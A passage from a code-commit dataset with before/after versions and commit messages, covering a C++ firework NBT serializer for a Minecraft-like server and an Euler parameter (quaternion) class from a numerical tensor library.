E_ITEM_FIREWORK_STAR:\n\t\t{\n\t\t\ta_Writer.BeginCompound(\"Explosion\");\n\t\t\ta_Writer.AddByte(\"Flicker\", a_FireworkItem.m_HasFlicker);\n\t\t\ta_Writer.AddByte(\"Trail\", a_FireworkItem.m_HasTrail);\n\t\t\ta_Writer.AddByte(\"Type\", a_FireworkItem.m_Type);\n\t\t\tif (!a_FireworkItem.m_Colours.empty())\n\t\t\t{\n\t\t\t\ta_Writer.AddIntArray(\"Colors\", &(a_FireworkItem.m_Colours[0]), a_FireworkItem.m_Colours.size());\n\t\t\t}\n\t\t\tif (!a_FireworkItem.m_FadeColours.empty())\n\t\t\t{\n\t\t\t\ta_Writer.AddIntArray(\"FadeColors\", &(a_FireworkItem.m_FadeColours[0]), a_FireworkItem.m_FadeColours.size());\n\t\t\t}\n\t\t\ta_Writer.EndCompound();\n\t\t\tbreak;\n\t\t}\n\t\tdefault: ASSERT(!\"Unhandled firework item!\"); break;\n\t}\n}\n\n\n\n\n\nvoid cFireworkItem::ParseFromNBT(cFireworkItem & a_FireworkItem, const cParsedNBT & a_NBT, int a_TagIdx, const ENUM_ITEM_ID a_Type)\n{\n\tif (a_TagIdx < 0)\n\t{\n\t\treturn;\n\t}\n\n\tswitch (a_Type)\n\t{\n\t\tcase E_ITEM_FIREWORK_STAR:\n\t\t{\n\t\t\tfor (int explosiontag = a_NBT.GetFirstChild(a_TagIdx); explosiontag >= 0; explosiontag = a_NBT.GetNextSibling(explosiontag))\n\t\t\t{\n\t\t\t\teTagType TagType = a_NBT.GetType(explosiontag);\n\t\t\t\tif (TagType == TAG_Byte) \/\/ Custon name tag\n\t\t\t\t{\n\t\t\t\t\tAString ExplosionName = a_NBT.GetName(explosiontag);\n\n\t\t\t\t\tif (ExplosionName == \"Flicker\")\n\t\t\t\t\t{\n\t\t\t\t\t\ta_FireworkItem.m_HasFlicker = (a_NBT.GetByte(explosiontag) == 1);\n\t\t\t\t\t}\n\t\t\t\t\telse if (ExplosionName == \"Trail\")\n\t\t\t\t\t{\n\t\t\t\t\t\ta_FireworkItem.m_HasTrail = (a_NBT.GetByte(explosiontag) == 1);\n\t\t\t\t\t}\n\t\t\t\t\telse if (ExplosionName == \"Type\")\n\t\t\t\t\t{\n\t\t\t\t\t\ta_FireworkItem.m_Type = a_NBT.GetByte(explosiontag);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (TagType == TAG_IntArray)\n\t\t\t\t{\n\t\t\t\t\tAString ExplosionName = a_NBT.GetName(explosiontag);\n\n\t\t\t\t\tif (ExplosionName == \"Colors\")\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Divide by four as data length returned in bytes\n\t\t\t\t\t\tint DataLength = a_NBT.GetDataLength(explosiontag);\n\t\t\t\t\t\t\/\/ round to the next highest multiple of four\n\t\t\t\t\t\tDataLength -= DataLength % 4; \n\t\t\t\t\t\tif (DataLength == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tconst char * ColourData = (a_NBT.GetData(explosiontag));\n\t\t\t\t\t\tfor (int i = 0; i < DataLength; i += 4 \/* Size of network int*\/)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ta_FireworkItem.m_Colours.push_back(GetBEInt(ColourData + i));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (ExplosionName == \"FadeColors\")\n\t\t\t\t\t{\n\t\t\t\t\t\tint DataLength = a_NBT.GetDataLength(explosiontag) \/ 4;\n\t\t\t\t\t\t\/\/ round to the next highest multiple of four\n\t\t\t\t\t\tDataLength -= DataLength % 4; \n\t\t\t\t\t\tif (DataLength == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tconst char * FadeColourData = (a_NBT.GetData(explosiontag));\n\t\t\t\t\t\tfor (int i = 0; i < DataLength; i += 4 \/* Size of network int*\/)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ta_FireworkItem.m_FadeColours.push_back(GetBEInt(FadeColourData + i));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tcase E_ITEM_FIREWORK_ROCKET:\n\t\t{\n\t\t\tfor (int fireworkstag = a_NBT.GetFirstChild(a_TagIdx); fireworkstag >= 0; fireworkstag = a_NBT.GetNextSibling(fireworkstag))\n\t\t\t{\n\t\t\t\teTagType TagType = a_NBT.GetType(fireworkstag);\n\t\t\t\tif (TagType == TAG_Byte) \/\/ Custon name tag\n\t\t\t\t{\n\t\t\t\t\tif (a_NBT.GetName(fireworkstag) == \"Flight\")\n\t\t\t\t\t{\n\t\t\t\t\t\ta_FireworkItem.m_FlightTimeInTicks = a_NBT.GetByte(fireworkstag) * 20;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if ((TagType == TAG_List) && (a_NBT.GetName(fireworkstag) == \"Explosions\"))\n\t\t\t\t{\n\t\t\t\t\tint ExplosionsChild = a_NBT.GetFirstChild(fireworkstag);\n\t\t\t\t\tif ((a_NBT.GetType(ExplosionsChild) == TAG_Compound) && (a_NBT.GetName(ExplosionsChild).empty()))\n\t\t\t\t\t{\n\t\t\t\t\t\tParseFromNBT(a_FireworkItem, a_NBT, ExplosionsChild, E_ITEM_FIREWORK_STAR);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tdefault: ASSERT(!\"Unhandled firework item!\"); break;\n\t}\n}\n\n\n\n\n\nAString cFireworkItem::ColoursToString(const cFireworkItem & a_FireworkItem)\n{\n\tAString Result;\n\n\tfor (std::vector<int>::const_iterator itr = a_FireworkItem.m_Colours.begin(); itr != a_FireworkItem.m_Colours.end(); ++itr)\n\t{\n\t\tAppendPrintf(Result, \"%i;\", *itr);\n\t}\n\n\treturn Result;\n}\n\n\n\n\n\nvoid cFireworkItem::ColoursFromString(const AString & a_String, cFireworkItem & a_FireworkItem)\n{\n\tAStringVector Split = StringSplit(a_String, \";\");\n\n\tfor (size_t itr = 0; itr < Split.size(); ++itr)\n\t{\n\t\tif (Split[itr].empty())\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\ta_FireworkItem.m_Colours.push_back(atoi(Split[itr].c_str()));\n\t}\n}\n\n\n\n\n\nAString cFireworkItem::FadeColoursToString(const cFireworkItem & a_FireworkItem)\n{\n\tAString Result;\n\n\tfor (std::vector<int>::const_iterator itr = a_FireworkItem.m_FadeColours.begin(); itr != a_FireworkItem.m_FadeColours.end(); ++itr)\n\t{\n\t\tAppendPrintf(Result, \"%i;\", *itr);\n\t}\n\n\treturn Result;\n}\n\n\n\n\n\nvoid cFireworkItem::FadeColoursFromString(const AString & a_String, cFireworkItem & a_FireworkItem)\n{\n\tAStringVector Split = StringSplit(a_String, \";\");\n\n\tfor (size_t itr = 0; itr < Split.size(); ++itr)\n\t{\n\t\tif (Split[itr].empty())\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\ta_FireworkItem.m_FadeColours.push_back(atoi(Split[itr].c_str()));\n\t}\n}\n\n\n\n\n\nint cFireworkItem::GetVanillaColourCodeFromDye(short a_DyeMeta)\n{\n\t\/*\n\tColours are supposed to be calculated via: R << 16 + G << 8 + B\n\tHowever, the RGB values fireworks use aren't the same as the ones for dyes (the ones listed in the MC Wiki)\n\tTherefore, here is a list of numbers gotten via the Protocol Proxy\n\t*\/\n\n\tswitch (a_DyeMeta)\n\t{\n\t\tcase E_META_DYE_BLACK: return 0x1E1B1B;\n\t\tcase E_META_DYE_RED: return 0xB3312C;\n\t\tcase E_META_DYE_GREEN: return 0x3B511A;\n\t\tcase E_META_DYE_BROWN:  return 0x51301A;\n\t\tcase E_META_DYE_BLUE: return 0x253192;\n\t\tcase E_META_DYE_PURPLE: return 0x7B2FBE;\n\t\tcase E_META_DYE_CYAN: return 0x287697;\n\t\tcase E_META_DYE_LIGHTGRAY: return 0xABABAB;\n\t\tcase E_META_DYE_GRAY: return 0x434343;\n\t\tcase E_META_DYE_PINK: return 0xD88198;\n\t\tcase E_META_DYE_LIGHTGREEN: return 0x41CD34;\n\t\tcase E_META_DYE_YELLOW: return 0xDECF2A;\n\t\tcase E_META_DYE_LIGHTBLUE: return 0x6689D3;\n\t\tcase E_META_DYE_MAGENTA: return 0xC354CD;\n\t\tcase E_META_DYE_ORANGE: return 0xEB8844;\n\t\tcase E_META_DYE_WHITE: return 0xF0F0F0;\n\t\tdefault: ASSERT(!\"Unhandled dye meta whilst trying to get colour code for fireworks!\"); return 0;\n\t}\n}\n<commit_msg>Fixed a crash in firework rockets.<commit_after>﻿\n#include \"Globals.h\"\n#include \"FireworksSerializer.h\"\n#include \"WorldStorage\/FastNBT.h\"\n\n\n\n\n\nvoid cFireworkItem::WriteToNBTCompound(const cFireworkItem & a_FireworkItem, cFastNBTWriter & a_Writer, const ENUM_ITEM_ID a_Type)\n{\n\tswitch (a_Type)\n\t{\n\t\tcase E_ITEM_FIREWORK_ROCKET:\n\t\t{\n\t\t\ta_Writer.BeginCompound(\"Fireworks\");\n\t\t\ta_Writer.AddByte(\"Flight\", a_FireworkItem.m_FlightTimeInTicks \/ 20);\n\t\t\ta_Writer.BeginList(\"Explosions\", TAG_Compound);\n\t\t\ta_Writer.BeginCompound(\"\");\n\t\t\ta_Writer.AddByte(\"Flicker\", a_FireworkItem.m_HasFlicker);\n\t\t\ta_Writer.AddByte(\"Trail\", a_FireworkItem.m_HasTrail);\n\t\t\ta_Writer.AddByte(\"Type\", a_FireworkItem.m_Type);\n\t\t\tif (!a_FireworkItem.m_Colours.empty())\n\t\t\t{\n\t\t\t\ta_Writer.AddIntArray(\"Colors\", &(a_FireworkItem.m_Colours[0]), a_FireworkItem.m_Colours.size());\n\t\t\t}\n\t\t\tif (!a_FireworkItem.m_FadeColours.empty())\n\t\t\t{\n\t\t\t\ta_Writer.AddIntArray(\"FadeColors\", &(a_FireworkItem.m_FadeColours[0]), a_FireworkItem.m_FadeColours.size());\n\t\t\t}\n\t\t\ta_Writer.EndCompound();\n\t\t\ta_Writer.EndList();\n\t\t\ta_Writer.EndCompound();\n\t\t\tbreak;\n\t\t}\n\t\tcase E_ITEM_FIREWORK_STAR:\n\t\t{\n\t\t\ta_Writer.BeginCompound(\"Explosion\");\n\t\t\ta_Writer.AddByte(\"Flicker\", a_FireworkItem.m_HasFlicker);\n\t\t\ta_Writer.AddByte(\"Trail\", a_FireworkItem.m_HasTrail);\n\t\t\ta_Writer.AddByte(\"Type\", a_FireworkItem.m_Type);\n\t\t\tif (!a_FireworkItem.m_Colours.empty())\n\t\t\t{\n\t\t\t\ta_Writer.AddIntArray(\"Colors\", &(a_FireworkItem.m_Colours[0]), a_FireworkItem.m_Colours.size());\n\t\t\t}\n\t\t\tif (!a_FireworkItem.m_FadeColours.empty())\n\t\t\t{\n\t\t\t\ta_Writer.AddIntArray(\"FadeColors\", &(a_FireworkItem.m_FadeColours[0]), a_FireworkItem.m_FadeColours.size());\n\t\t\t}\n\t\t\ta_Writer.EndCompound();\n\t\t\tbreak;\n\t\t}\n\t\tdefault: ASSERT(!\"Unhandled firework item!\"); break;\n\t}\n}\n\n\n\n\n\nvoid cFireworkItem::ParseFromNBT(cFireworkItem & a_FireworkItem, const cParsedNBT & a_NBT, int a_TagIdx, const ENUM_ITEM_ID a_Type)\n{\n\tif (a_TagIdx < 0)\n\t{\n\t\treturn;\n\t}\n\n\tswitch (a_Type)\n\t{\n\t\tcase E_ITEM_FIREWORK_STAR:\n\t\t{\n\t\t\tfor (int explosiontag = a_NBT.GetFirstChild(a_TagIdx); explosiontag >= 0; explosiontag = a_NBT.GetNextSibling(explosiontag))\n\t\t\t{\n\t\t\t\teTagType TagType = a_NBT.GetType(explosiontag);\n\t\t\t\tif (TagType == TAG_Byte) \/\/ Custon name tag\n\t\t\t\t{\n\t\t\t\t\tAString ExplosionName = a_NBT.GetName(explosiontag);\n\n\t\t\t\t\tif (ExplosionName == \"Flicker\")\n\t\t\t\t\t{\n\t\t\t\t\t\ta_FireworkItem.m_HasFlicker = (a_NBT.GetByte(explosiontag) == 1);\n\t\t\t\t\t}\n\t\t\t\t\telse if (ExplosionName == \"Trail\")\n\t\t\t\t\t{\n\t\t\t\t\t\ta_FireworkItem.m_HasTrail = (a_NBT.GetByte(explosiontag) == 1);\n\t\t\t\t\t}\n\t\t\t\t\telse if (ExplosionName == \"Type\")\n\t\t\t\t\t{\n\t\t\t\t\t\ta_FireworkItem.m_Type = a_NBT.GetByte(explosiontag);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (TagType == TAG_IntArray)\n\t\t\t\t{\n\t\t\t\t\tAString ExplosionName = a_NBT.GetName(explosiontag);\n\n\t\t\t\t\tif (ExplosionName == \"Colors\")\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Divide by four as data length returned in bytes\n\t\t\t\t\t\tint DataLength = a_NBT.GetDataLength(explosiontag);\n\t\t\t\t\t\t\/\/ round to the next highest multiple of four\n\t\t\t\t\t\tDataLength -= DataLength % 4; \n\t\t\t\t\t\tif (DataLength == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tconst char * ColourData = (a_NBT.GetData(explosiontag));\n\t\t\t\t\t\tfor (int i = 0; i < DataLength; i += 4 \/* Size of network int*\/)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ta_FireworkItem.m_Colours.push_back(GetBEInt(ColourData + i));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (ExplosionName == \"FadeColors\")\n\t\t\t\t\t{\n\t\t\t\t\t\tint DataLength = a_NBT.GetDataLength(explosiontag) \/ 4;\n\t\t\t\t\t\t\/\/ round to the next highest multiple of four\n\t\t\t\t\t\tDataLength -= DataLength % 4; \n\t\t\t\t\t\tif (DataLength == 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tconst char * FadeColourData = (a_NBT.GetData(explosiontag));\n\t\t\t\t\t\tfor (int i = 0; i < DataLength; i += 4 \/* Size of network int*\/)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ta_FireworkItem.m_FadeColours.push_back(GetBEInt(FadeColourData + i));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tcase E_ITEM_FIREWORK_ROCKET:\n\t\t{\n\t\t\tfor (int fireworkstag = a_NBT.GetFirstChild(a_TagIdx); fireworkstag >= 0; fireworkstag = a_NBT.GetNextSibling(fireworkstag))\n\t\t\t{\n\t\t\t\teTagType TagType = a_NBT.GetType(fireworkstag);\n\t\t\t\tif (TagType == TAG_Byte) \/\/ Custon name tag\n\t\t\t\t{\n\t\t\t\t\tif (a_NBT.GetName(fireworkstag) == \"Flight\")\n\t\t\t\t\t{\n\t\t\t\t\t\ta_FireworkItem.m_FlightTimeInTicks = a_NBT.GetByte(fireworkstag) * 20;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if ((TagType == TAG_List) && (a_NBT.GetName(fireworkstag) == \"Explosions\"))\n\t\t\t\t{\n\t\t\t\t\tint ExplosionsChild = a_NBT.GetFirstChild(fireworkstag);\n\t\t\t\t\tif ((a_NBT.GetType(ExplosionsChild) == TAG_Compound) && (a_NBT.GetName(ExplosionsChild).empty()))\n\t\t\t\t\t{\n\t\t\t\t\t\tParseFromNBT(a_FireworkItem, a_NBT, ExplosionsChild, E_ITEM_FIREWORK_STAR);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tdefault: ASSERT(!\"Unhandled firework item!\"); break;\n\t}\n}\n\n\n\n\n\nAString cFireworkItem::ColoursToString(const cFireworkItem & a_FireworkItem)\n{\n\tAString Result;\n\n\tfor (std::vector<int>::const_iterator itr = a_FireworkItem.m_Colours.begin(); itr != a_FireworkItem.m_Colours.end(); ++itr)\n\t{\n\t\tAppendPrintf(Result, \"%i;\", *itr);\n\t}\n\n\treturn Result;\n}\n\n\n\n\n\nvoid cFireworkItem::ColoursFromString(const AString & a_String, cFireworkItem & a_FireworkItem)\n{\n\tAStringVector Split = StringSplit(a_String, \";\");\n\n\tfor (size_t itr = 0; itr < Split.size(); ++itr)\n\t{\n\t\tif (Split[itr].empty())\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\ta_FireworkItem.m_Colours.push_back(atoi(Split[itr].c_str()));\n\t}\n}\n\n\n\n\n\nAString cFireworkItem::FadeColoursToString(const cFireworkItem & a_FireworkItem)\n{\n\tAString Result;\n\n\tfor (std::vector<int>::const_iterator itr = a_FireworkItem.m_FadeColours.begin(); itr != a_FireworkItem.m_FadeColours.end(); ++itr)\n\t{\n\t\tAppendPrintf(Result, \"%i;\", *itr);\n\t}\n\n\treturn Result;\n}\n\n\n\n\n\nvoid cFireworkItem::FadeColoursFromString(const AString & a_String, cFireworkItem & a_FireworkItem)\n{\n\tAStringVector Split = StringSplit(a_String, \";\");\n\n\tfor (size_t itr = 0; itr < Split.size(); ++itr)\n\t{\n\t\tif (Split[itr].empty())\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\ta_FireworkItem.m_FadeColours.push_back(atoi(Split[itr].c_str()));\n\t}\n}\n\n\n\n\n\nint cFireworkItem::GetVanillaColourCodeFromDye(short a_DyeMeta)\n{\n\t\/*\n\tColours are supposed to be calculated via: R << 16 + G << 8 + B\n\tHowever, the RGB values fireworks use aren't the same as the ones for dyes (the ones listed in the MC Wiki)\n\tTherefore, here is a list of numbers gotten via the Protocol Proxy\n\t*\/\n\n\tswitch (a_DyeMeta)\n\t{\n\t\tcase E_META_DYE_BLACK: return 0x1E1B1B;\n\t\tcase E_META_DYE_RED: return 0xB3312C;\n\t\tcase E_META_DYE_GREEN: return 0x3B511A;\n\t\tcase E_META_DYE_BROWN:  return 0x51301A;\n\t\tcase E_META_DYE_BLUE: return 0x253192;\n\t\tcase E_META_DYE_PURPLE: return 0x7B2FBE;\n\t\tcase E_META_DYE_CYAN: return 0x287697;\n\t\tcase E_META_DYE_LIGHTGRAY: return 0xABABAB;\n\t\tcase E_META_DYE_GRAY: return 0x434343;\n\t\tcase E_META_DYE_PINK: return 0xD88198;\n\t\tcase E_META_DYE_LIGHTGREEN: return 0x41CD34;\n\t\tcase E_META_DYE_YELLOW: return 0xDECF2A;\n\t\tcase E_META_DYE_LIGHTBLUE: return 0x6689D3;\n\t\tcase E_META_DYE_MAGENTA: return 0xC354CD;\n\t\tcase E_META_DYE_ORANGE: return 0xEB8844;\n\t\tcase E_META_DYE_WHITE: return 0xF0F0F0;\n\t\tdefault: ASSERT(!\"Unhandled dye meta whilst trying to get colour code for fireworks!\"); return 0;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*! \\file EulerParameterVector.cpp\n *\/\n\n#include \"EulerParameterVector.h\"\n\nnamespace numlib{ namespace tensor{\n\nEulerParameterVector::EulerParameterVector(Real q1_, Real q2_, Real q3_, Real q4_):\n\t q1(q1_),\n\t q2(q2_),\n\t q3(q3_),\n\t q4(q4_)\n{\n\t DEBUG_PRINT_VAR( q1 );\n\t DEBUG_PRINT_VAR( q2 );\n\t DEBUG_PRINT_VAR( q3 );\n\t DEBUG_PRINT_VAR( q4 );\n}\n\nEulerParameterVector::EulerParameterVector(const TensorR2 & r)\n{\n\t using std::sqrt;\n\n\t Real r12 = r(1,2);\n\t Real r21 = r(2,1);\n\n\t Real r13 = r(1,3);\n\t Real r31 = r(3,1);\n\n\t Real r23 = r(2,3);\n\t Real r32 = r(3,2);\n\n\t Real tr = trace(r);\n\n\t ASSERT( tr > -1.0 );\n\n\t q4 = sqrt(0.25*(tr + 1.0));\n\n\t Real q44 = 4.0*q4;\n\n\t q1 = (r32 - r23)\/q44;\n\t q2 = (r13 - r31)\/q44;\n\t q3 = (r21 - r12)\/q44;\n\n\t DEBUG_PRINT_VAR( q1 );\n\t DEBUG_PRINT_VAR( q2 );\n\t DEBUG_PRINT_VAR( q3 );\n\t DEBUG_PRINT_VAR( q4 );\n}\n\nEulerParameterVector::EulerParameterVector(const TensorR1 & e, Real theta)\n{\n\t using std::cos;\n\t using std::sin;\n\n\t Real theta2 = 0.5*theta;\n\t Real c = cos(theta2);\n\t Real s = sin(theta2);\n\n\t q4 = c;\n\t q1 = e(1)*s;\n\t q2 = e(2)*s;\n\t q3 = e(3)*s;\n}\n\nEulerParameterVector::EulerParameterVector(const EulerParameterVector & other):\n\t q1(other.q1),\n\t q2(other.q2),\n\t q3(other.q3),\n\t q4(other.q4)\n{\n}\n\nEulerParameterVector::~EulerParameterVector()\n{\n\t \/* nothing to delete *\/\n}\n\nEulerParameterVector & EulerParameterVector::operator=(const EulerParameterVector & other)\n{\n\t if(&other == this)\n\t\t  return *this;\n\n\t q1 = other.q1;\n\t q2 = other.q2;\n\t q3 = other.q3;\n\t q4 = other.q4;\n\n\t return *this;\n\t \n}\n\nReal EulerParameterVector::rotationAngle() const\n{\n\t using std::acos;\n\n\t DEBUG_PRINT_VAR( q4 );\n\n\t return 2.0*acos(q4);\n}\n\nTensorR1 EulerParameterVector::rotationAxis() const\n{\n\t using std::sin;\n\n\t Real s = sqrt(q1*q1 + q2*q2 + q3*q3);\n\n\t if( s < 1.0E-12 ) return TensorR1(0,0,0);\n\n\t DEBUG_PRINT_VAR( s );\n\t DEBUG_PRINT_VAR( q1 );\n\t DEBUG_PRINT_VAR( q2 );\n\t DEBUG_PRINT_VAR( q3 );\n\n\t Real e1 = q1\/s;\n\t Real e2 = q2\/s;\n\t Real e3 = q3\/s;\n\n\t DEBUG_PRINT_VAR( e1*e1 + e2*e2 + e3*e3 );\n\t ASSERT( fabs(e1*e1 + e2*e2 + e3*e3 - 1.0) < 1.0E-10 );\n\n\t return TensorR1(e1, e2, e3);\n}\n\nReal & EulerParameterVector::operator()(Index i)\n{\n\t switch(i)\n\t {\n\t case 1:\n\t\t  return q1;\n\t case 2:\n\t\t  return q2;\n\t case 3:\n\t\t  return q3;\n\t case 4:\n\t\t  return q4;\n\t }\n}\n\nconst Real & EulerParameterVector::operator()(Index i) const\n{\n\t switch(i)\n\t {\n\t case 1:\n\t\t  return q1;\n\t case 2:\n\t\t  return q2;\n\t case 3:\n\t\t  return q3;\n\t case 4:\n\t\t  return q4;\n\t }\n}\n\nstd::ostream & operator<<(std::ostream & os, const EulerParameterVector & ep)\n{\n\t os<<std::scientific\n\t   <<\"( \"<<ep.q1\n\t   <<\", \"<<ep.q2\n\t   <<\", \"<<ep.q3\n\t   <<\", \"<<ep.q4\n\t   <<\" )\";\n}\n\n}}\/\/::numlib::tensor\n<commit_msg>Added check for q4 exceeding unity due to round off error<commit_after>\/*! \\file EulerParameterVector.cpp\n *\/\n\n#include \"EulerParameterVector.h\"\n\nnamespace numlib{ namespace tensor{\n\nEulerParameterVector::EulerParameterVector(Real q1_, Real q2_, Real q3_, Real q4_):\n\t q1(q1_),\n\t q2(q2_),\n\t q3(q3_),\n\t q4(q4_)\n{\n\t DEBUG_PRINT_VAR( q1 );\n\t DEBUG_PRINT_VAR( q2 );\n\t DEBUG_PRINT_VAR( q3 );\n\t DEBUG_PRINT_VAR( q4 );\n}\n\nEulerParameterVector::EulerParameterVector(const TensorR2 & r)\n{\n\t using std::sqrt;\n\n\t Real r12 = r(1,2);\n\t Real r21 = r(2,1);\n\n\t Real r13 = r(1,3);\n\t Real r31 = r(3,1);\n\n\t Real r23 = r(2,3);\n\t Real r32 = r(3,2);\n\n\t Real tr = trace(r);\n\n\t ASSERT( tr > -1.0 );\n\n\t q4 = sqrt(0.25*(tr + 1.0));\n\n\t \/* Sometimes the above expression for q4 results in a value slightly \n\t\tgreater than 1.0 (e.g. 1.00000000005). If left this way computation \n\t\tof rotation angle via acos(q4) will give NaN. So, if q4 > 1.0 we \n\t\tassume its due to rounding error and manually fix it. *\/\n\n\t if(q4 > 1.0) q4 = 1.0;\n\n\t Real q44 = 4.0*q4;\n\n\t q1 = (r32 - r23)\/q44;\n\t q2 = (r13 - r31)\/q44;\n\t q3 = (r21 - r12)\/q44;\n\n\t DEBUG_PRINT_VAR( q1 );\n\t DEBUG_PRINT_VAR( q2 );\n\t DEBUG_PRINT_VAR( q3 );\n\t DEBUG_PRINT_VAR( q4 );\n}\n\nEulerParameterVector::EulerParameterVector(const TensorR1 & e, Real theta)\n{\n\t using std::cos;\n\t using std::sin;\n\n\t Real theta2 = 0.5*theta;\n\t Real c = cos(theta2);\n\t Real s = sin(theta2);\n\n\t q4 = c;\n\t q1 = e(1)*s;\n\t q2 = e(2)*s;\n\t q3 = e(3)*s;\n}\n\nEulerParameterVector::EulerParameterVector(const EulerParameterVector & other):\n\t q1(other.q1),\n\t q2(other.q2),\n\t q3(other.q3),\n\t q4(other.q4)\n{\n}\n\nEulerParameterVector::~EulerParameterVector()\n{\n\t \/* nothing to delete *\/\n}\n\nEulerParameterVector & EulerParameterVector::operator=(const EulerParameterVector & other)\n{\n\t if(&other == this)\n\t\t  return *this;\n\n\t q1 = other.q1;\n\t q2 = other.q2;\n\t q3 = other.q3;\n\t q4 = other.q4;\n\n\t return *this;\n\t \n}\n\nReal EulerParameterVector::rotationAngle() const\n{\n\t using std::acos;\n\n\t DEBUG_PRINT_VAR( q4 );\n\n\t return 2.0*acos(q4);\n}\n\nTensorR1 EulerParameterVector::rotationAxis() const\n{\n\t using std::sin;\n\n\t Real s = sqrt(q1*q1 + q2*q2 + q3*q3);\n\n\t if( s < 1.0E-12 ) return TensorR1(0,0,0);\n\n\t DEBUG_PRINT_VAR( s );\n\t DEBUG_PRINT_VAR( q1 );\n\t DEBUG_PRINT_VAR( q2 );\n\t DEBUG_PRINT_VAR( q3 );\n\n\t Real e1 = q1\/s;\n\t Real e2 = q2\/s;\n\t Real e3 = q3\/s;\n\n\t DEBUG_PRINT_VAR( e1*e1 + e2*e2 + e3*e3 );\n\t ASSERT( fabs(e1*e1 + e2*e2 + e3*e3 - 1.0) < 1.0E-10 );\n\n\t return TensorR1(e1, e2, e3);\n}\n\nReal & EulerParameterVector::operator()(Index i)\n{\n\t switch(i)\n\t {\n\t case 1:\n\t\t  return q1;\n\t case 2:\n\t\t  return q2;\n\t case 3:\n\t\t  return q3;\n\t case 4:\n\t\t  return q4;\n\t }\n}\n\nconst Real & EulerParameterVector::operator()(Index i) const\n{\n\t switch(i)\n\t {\n\t case 1:\n\t\t  return q1;\n\t case 2:\n\t\t  return q2;\n\t case 3:\n\t\t  return q3;\n\t case 4:\n\t\t  return q4;\n\t }\n}\n\nstd::ostream & operator<<(std::ostream & os, const EulerParameterVector & ep)\n{\n\t os<<std::scientific\n\t   <<\"( \"<<ep.q1\n\t   <<\", \"<<ep.q2\n\t   <<\", \"<<ep.q3\n\t   <<\", \"<<ep.q4\n\t   <<\" )\";\n}\n\n}}\/\/::numlib::tensor\n<|endoftext|>"}
{"text":"<commit_before>\/*! \\file EulerParameterVector.cpp\n *\/\n\n#include \"EulerParameterVector.h\"\n\nnamespace numlib{ namespace tensor{\n\nEulerParameterVector::EulerParameterVector(Real q1_, Real q2_, Real q3_, Real q4_):\n\t q1(q1_),\n\t q2(q2_),\n\t q3(q3_),\n\t q4(q4_)\n{\n}\n\nEulerParameterVector::EulerParameterVector(const TensorR2 & r)\n{\n\t using std::sqrt;\n\n\t Real r12 = r(1,2);\n\t Real r21 = r(2,1);\n\n\t Real r13 = r(1,3);\n\t Real r31 = r(3,1);\n\n\t Real r23 = r(2,3);\n\t Real r32 = r(3,2);\n\n\t q4 = sqrt(0.25*(trace(r) + 1.0));\n\n\t Real q44 = 4.0*q4;\n\n\t q1 = (r32 - r23)\/q44;\n\t q2 = (r13 - r31)\/q44;\n\t q3 = (r21 - r12)\/q44;\n}\n\nEulerParameterVector::EulerParameterVector(const TensorR1 & e, Real theta)\n{\n\t using std::cos;\n\t using std::sin;\n\n\t Real theta2 = 0.5*theta;\n\t Real c = cos(theta2);\n\t Real s = sin(theta2);\n\n\t q4 = c;\n\t q1 = e(1)*s;\n\t q2 = e(2)*s;\n\t q3 = e(3)*s;\n}\n\nEulerParameterVector::EulerParameterVector(const EulerParameterVector & other):\n\t q1(other.q1),\n\t q2(other.q2),\n\t q3(other.q3),\n\t q4(other.q4)\n{\n}\n\nEulerParameterVector::~EulerParameterVector()\n{\n\t \/* nothing to delete *\/\n}\n\nEulerParameterVector & EulerParameterVector::operator=(const EulerParameterVector & other)\n{\n\t if(&other == this)\n\t\t  return *this;\n\n\t q1 = other.q1;\n\t q2 = other.q2;\n\t q3 = other.q3;\n\t q4 = other.q4;\n\n\t return *this;\n\t \n}\n\nReal EulerParameterVector::rotationAngle() const\n{\n\t using std::acos;\n\n\t return 2.0*acos(q4);\n}\n\nTensorR1 EulerParameterVector::rotationAxis() const\n{\n\t using std::sin;\n\n\t Real theta = rotationAngle();\n\n\t \/* theta should be mod to [0, pi) *\/\n\n\t if(theta == 0.0)\n\t\t  return TensorR1(0.0, 0.0, 0.0);\n\n\t Real s = sin(0.5*theta);\n\n\t Real e1 = q1\/s;\n\t Real e2 = q2\/s;\n\t Real e3 = q3\/s;\n\n\t return TensorR1(e1, e2, e3);\n}\n\nReal & EulerParameterVector::operator()(Index i)\n{\n\t switch(i)\n\t {\n\t case 1:\n\t\t  return q1;\n\t case 2:\n\t\t  return q2;\n\t case 3:\n\t\t  return q3;\n\t case 4:\n\t\t  return 